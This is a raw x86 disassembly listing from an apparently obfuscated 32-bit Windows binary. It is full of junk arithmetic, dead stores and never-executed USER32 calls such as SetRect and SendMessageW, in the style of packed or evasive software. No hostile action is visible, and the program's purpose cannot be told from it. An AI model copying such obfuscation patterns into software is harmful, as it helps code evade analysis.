xor ecx, ecx
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x458]
mov eax, dword [ebp - 0x458]
mov eax, dword [ebp - 0x10]
cmp eax, 1
mov eax, dword [ebp - 0x304]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1e0]
setle dl
add eax, edx
xor edx, edx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x1e0]
mov ecx, dword [ebp - 0x10]
sub ecx, eax
mov eax, dword [ebp - 0x30]
imul ecx, ecx, 0xfffd
cmp ecx, eax
mov eax, dword [ebp - 0x458]
sete dl
imul eax, edx
test eax, eax
je 0x1004040e
cmp dword [ebp - 0x28], ebx
je 0x1004040e
xor eax, eax
inc eax
jmp 0x10040410
mov eax, ebx
mov dword [ebp - 0x1e0], eax
xor edx, edx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x30]
cmp eax, 1
mov eax, dword [ebp - 0x454]
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x38]
setg cl
xor edx, edx
dec ecx
cmp ecx, eax
setge dl
mov dword [ebp - 0x30], edx
xor edx, edx
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x38]
cmp eax, ecx
setne dl
inc edx
mov dword [ebp - 0x44], edx
inc dword [ebp - 0x14]
xor ecx, ecx
inc ecx
cmp dword [ebp - 0x14], ecx
jle 0x100400b5
push 0xfffffffffffffff6
pop edi
mov dword [ebp - 0x2c], edi
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x14], 6
mov dword [ebp - 0x2c], 0xe665969a
mov dword [ebp - 0x38], 0x85b6478c
mov dword [ebp - 0x44], 0xfffffffa
mov dword [ebp - 0x48], 0x493876a4
mov dword [ebp - 0x2c], 0x333ee676
mov dword [ebp - 0x30], 0x68993dd6
mov dword [ebp - 0x44], 0xd8e
mov dword [ebp - 0x24], ebx
jmp 0x100404bb
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x26c], esi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x100404ae
mov dword [ebp - 0x14], ebx
jmp 0x10040697
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x20], 0xfffffffb
mov dword [ebp - 0x40], 0x1c0a9c5a
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x10], ebx
jmp 0x100404f3
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1f0], 0x26874be7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x100404e2
push 4
mov dword [ebp - 0x10], ebx
pop edx
jmp 0x1004050e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x47c], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x10040501
mov dword [ebp - 0x10], ebx
jmp 0x100405d9
push ecx
mov dword [ebp - 0x3c], 0x312fbb6b
lea ecx, [ebp - 0x8d4]
mov dword [ebp - 0x3c], ebx
call fcn.1000ebc1
mov dword [ebp - 0x2c], 0xf98c
xor edx, edx
mov dword [ebp - 0x44], 0x76fbfcc0
inc edx
mov dword [ebp - 0x24], ebx
jmp 0x1004055a
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x8d4]
mov dword [eax + ecx*4], 0xfffffffc
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edx
jl 0x10040547
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x1ec], eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + eax*4 - 0x26c]
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x26c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x48]
neg eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x10]
cmp eax, edx
setge cl
cmp ecx, edx
ja 0x1004059c
mov eax, edx
cmp dword [ebp - 0x2c], ebx
jne 0x1004059e
mov eax, ebx
mov dword [ebp - 0x478], eax
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100405c8
push 0x22a0
push 0x1448
push 0x18f7
push 0xcb4
push ebx
call dword [sym.imp.USER32.dll_SetRect]
lea ecx, [ebp - 0x8d4]
call fcn.1000f7cf
inc dword [ebp - 0x10]
xor ecx, ecx
inc ecx
cmp dword [ebp - 0x10], ecx
jle 0x1004051b
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x478]
mov eax, dword [ebp - 0x478]
mov eax, dword [ebp - 0x10]
cmp eax, 1
mov eax, dword [ebp - 0x26c]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1f0]
setle dl
add eax, edx
xor edx, edx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x1f0]
mov ecx, dword [ebp - 0x10]
sub ecx, eax
mov eax, dword [ebp - 0x30]
imul ecx, ecx, 0xfffd
cmp ecx, eax
mov eax, dword [ebp - 0x478]
sete dl
imul eax, edx
test eax, eax
je 0x10040649
cmp dword [ebp - 0x28], ebx
je 0x10040649
xor eax, eax
inc eax
jmp 0x1004064b
mov eax, ebx
mov dword [ebp - 0x1f0], eax
xor edx, edx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x30]
cmp eax, 1
mov eax, dword [ebp - 0x474]
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x38]
setg cl
xor edx, edx
dec ecx
cmp ecx, eax
setge dl
mov dword [ebp - 0x30], edx
xor edx, edx
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x38]
cmp eax, ecx
setne dl
xor ecx, ecx
inc edx
mov dword [ebp - 0x44], edx
inc dword [ebp - 0x14]
inc ecx
cmp dword [ebp - 0x14], ecx
jle 0x100404c9
mov dword [ebp - 0x2c], edi
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x44], 0x170b
cmp dword [ebp - 0x44], 0xeae
jge 0x100406fb
mov esi, ebx
mov edx, dword [0x10af95c4]
mov ecx, 0x1065c4d0
lea edx, [edx + esi]
call fcn.100398bd
add esi, 0x18
cmp esi, 0xc0
jl 0x100406bb
push ebx
push 7
xor edx, edx
pop ecx
call fcn.1003d7b7
pop ecx
test al, al
mov edx, 0x1000883c
mov ecx, 0x10008838
cmove ecx, edx
push ecx
call fcn.10050eec
pop ecx
mov esi, dword [sym.imp.USER32.dll_SendMessageW]
mov edi, dword [sym.imp.USER32.dll_SetWindowTextA]
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x24], ebx
jmp 0x1004073e
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10040728
push ebx
push ebx
push 0x2617
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call esi
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1004073b
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffe7
jge 0x1004070f
mov dword [ebp - 0x20], 0xfffffffc
lea ecx, [ebp - 0x608]
push 1
call fcn.1000ebc1
push 3
mov dword [ebp - 0x1c], ebx
pop ecx
jmp 0x10040771
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xd0], 0x37d45db3
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10040760
mov dword [ebp - 0x1c], ebx
jmp 0x10040788
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x500], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1004077b
mov dword [ebp - 0x1c], ebx
jmp 0x100407a3
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x6f0], 0x5e3d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10040792
xor edx, edx
mov dword [ebp - 0x1c], ebx
inc edx
cmp dword [ebp - 0x1c], edx
jge 0x100407ca
push 5
pop ebx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x608]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x100407b6
mov ecx, dword [ebp - 0xd0]
xor edx, edx
mov eax, dword [ebp - 0xcc]
cmp ecx, eax
mov ecx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xcc]
setge dl
imul ecx, edx
add eax, 4
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0xc8]
cmp ecx, eax
setle dl
mov dword [ebp - 0x4f8], edx
mov eax, dword [ebp - 0xcc]
sub edx, eax
mov dword [ebp - 0x20], edx
mov ecx, dword [ebp - 0xd0]
sub ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xcc]
neg ecx
sbb ecx, ecx
inc ecx
neg eax
sbb eax, eax
xor edx, edx
inc eax
imul eax, ecx
mov ecx, dword [ebp - 0xc8]
imul ecx, eax
mov eax, dword [ebp - 0xcc]
cmp ecx, eax
mov eax, dword [ebp - 0xcc]
setl dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0xcc]
sete bl
xor ecx, ecx
cmp eax, 0x887c
mov eax, dword [ebp - 0x6ec]
setg cl
add eax, 3
sub ecx, ebx
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x6f0]
cmp ecx, eax
mov eax, dword [ebp - 0x608]
setl dl
mov dword [eax], edx
mov dword [ebp - 0x20], 9
mov eax, dword [ebp - 0x4fc]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x4f8], ecx
lea ecx, [ebp - 0x608]
call fcn.1000f7cf
xor ebx, ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x24], ebx
jmp 0x100408da
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], bl
je 0x100408c5
push ebx
push ebx
push 0x2617
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call esi
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], bl
je 0x100408d7
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffe7
jge 0x100408ad
movdqa xmm0, xmmword [0x10008ae0]
lea ecx, [ebp - 0x978]
push ecx
lea eax, [ebp - 0x968]
push eax
push ecx
lea ecx, [ebp - 0x9e8]
movdqu xmmword [ebp - 0x978], xmm0
call fcn.1003866d
mov dword [ebp - 0x44], 0xe1b61bab
xor ecx, ecx
mov dword [ebp - 0x2c], 0x5e1abe8f
inc ecx
mov dword [ebp - 0x24], ebx
jmp 0x1004092a
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x70], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x10040920
push 3
mov dword [ebp - 0x70], ebx
mov esi, 0xffff
pop edi
cmp dword [ebp - 0x70], edi
jg 0x10040950